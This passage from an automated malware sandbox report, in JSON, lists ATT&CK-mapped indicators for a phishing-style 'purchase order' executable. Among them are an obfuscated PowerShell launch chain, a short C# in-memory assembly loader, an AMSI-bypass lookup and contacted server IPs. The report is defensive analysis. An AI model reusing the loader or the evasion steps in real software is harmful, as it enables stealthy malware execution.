\"00000000-00000864.00000002.296961.3C150000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00000864.00000001.295166.FD170000.00000004.mdmp, 00000000-00000864.00000002.296961.FD170000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to decode base64 data","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005088-00000C2B-3475835874\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005088-00000C2B-3477939279\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005088-00000C2B-3475835874\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005088-00000C2B-3477939279\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to perform scheduled transfer (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00007312-00000C2B-3467144921\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00007312-00000C2B-3467145540\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00005088-00000C2B-3478538277\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00005088-00000C2B-3478538322\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query service configuration on system (API string)","description":"Found string \"QueryServiceStatus\" (Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found string \"QueryServiceConfigW\" (Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-910","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoEx\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00000864-00000C2B-3497796842\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"RtlNtStatusToDosError\" in \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\"\n Found system information discovery API: \"GetEnvironmentStringsW\" in \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp\"\n Found system information discovery API: \"ExpandEnvironmentStringsW\" in \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\"\n Found system information discovery API: \"GetNativeSystemInfo\" in \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\"\n Found system information discovery API: \"GetSystemInfo\" in \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve machine time (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"EnumWindows\" (Indicator: \"enumwindows\"; Source: \"00000000-00005088-00000C2B-3477707939\")\n Found reference to API \"EnumWindowsW\" (Indicator: \"enumwindows\"; Source: \"00000000-00005088-00000C2B-3477707988\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"HJGROUPS-PURCHASEORDER#170331.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00007312)\n \"powershell.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00005088)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"HJGROUPS-PURCHASEORDER#170331.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00007312)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"HJGROUPS-PURCHASEORDER#170331.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00007312)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"powershell.exe\" called \"GetForegroundWindow\" (UID: 00000000-00005088)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00005088)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"335721058992\" - (UID: 00000000-00005088)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00000864)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"HJGROUPS-PURCHASEORDER#170331.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00007312)\n \"cmd.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00003572)\n \"powershell.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00005088)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$30","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"\"powershell.exe\" called \"GetVersionExA\" with parameter 940000000a000000000000005d58000002000000007f0000000000000000000060bff6f1df010000c0fba7b6ff7f00000001000000000000b8fba7b6ff7f0000000000000000000080cbd5d3ff7f000000000000000000000001000000000000000000000000000000000000000000000100000000000000df1aa7b6ff7f00000000000000000000b8fba7b6ff7f000000000000 (UID: 00000000-00005088)\n \"powershell.exe\" called \"GetVersionExA\" with parameter 940000000a000000000000005d58000002000000007f00000000000000000000902b1ffd3a020000c0fb78bcff7f00000001000000000000b8fb78bcff7f0000000000000000000080cbd5d3ff7f000000000000000000000001000000000000000000000000000000000000000000000100000000000000df1a78bcff7f00000000000000000000b8fb78bcff7f000000000000 (UID: 00000000-00000864)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00005088)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00005088)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00000864)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00000864)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00005088)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00005088)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00000864)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00000864)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process2\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$31","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"SystemTimeToFileTime\" (Indicator: \"SystemTimeToFileTime\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"FileTimeToSystemTime\" (Indicator: \"FileTimeToSystemTime\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$32","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$33","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"HJGROUPS-PURCHASEORDER#170331.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"APPENDPATH\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"PATH\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"SURICATA IPv4 invalid checksum\" (SID: 2200073, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegCreateKeyExW\" in \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"QueryServiceStatus\" (Indicator: \"QueryServiceStatus\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"General","name":"Able to execute application (.NET)","description":"Observed function \"System.Diagnostics.ProcessStartInfo.UseShellExecute\" in \"HJ GROUPS - PURCHASE ORDER #170331.exe\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":3,"id":"static-108","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Able to execute applications using .NET process API","description":"Found string \"processstartinfo\" (Source: \"00000000-00000864.00000001.295166.3C0E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-934","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Able to retrieve command line parameters of the running process","description":"Found string \"GetCommandLineA\" (Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp\")\n Found string \"GetCommandLineW\" (Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-930","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$34","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00005088)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00000864)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"powershell.exe\" called \"CreateDirectoryA\" with parameter %TEMP%\\u2nd3ci3 (UID: 00000000-00000864)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"HJGROUPS-PURCHASEORDER#170331.exe\" called \"CreateProcessW\" with parameter \"\"cmd.exe\" /C \"%TEMP%\\31de4d1b-7e67-46ca-b7ba-c05ce3546d4a.bat\"\" - (UID: 00000000-00007312)\n \"cmd.exe\" called \"CreateProcessW\" with parameter \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -Command \"Start-Process $env:SystemRoot\\System32\\WindowsPowerShell\\v1.0\" - (UID: 00000000-00003572), \"powershell.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -Command \"$j=92-52;$xdwMRWE='NV3Latpq';$li8WT7BZ='e9f6ca92aaacaef6b790\" - (UID: 00000000-00005088)\n \"powershell.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"%TEMP%\\u2nd3ci3\\u2nd\" - (UID: 00000000-00000864)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"HJGROUPS-PURCHASEORDER#170331.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00007312)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134285453733217935.5088.DefaultAppDomain.powershell\" - (UID: 00000000-00005088)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134285454216897258.864.DefaultAppDomain.powershell\" - (UID: 00000000-00000864)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$35","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Can load assembly that contains the code that is currently executing (Dotnet)","description":"Found string \"using System; using System.Reflection; public class PhantomGate{public static Assembly LoadAssembly(byte[] g){Assembly h=Assembly.GetExecutingAssembly(); if(h !=null){} return AppDomain.CurrentDomain.Load(g);}}\" (Indicator: \"GetExecutingAssembly\"; File: \"u2nd3ci3.0.cs\")","origin":"File/Memory","mitre_attack_id":"T1620","relevance":1,"id":"string-615","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"45.151.91.170:80\"\n \"107.173.227.99:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: 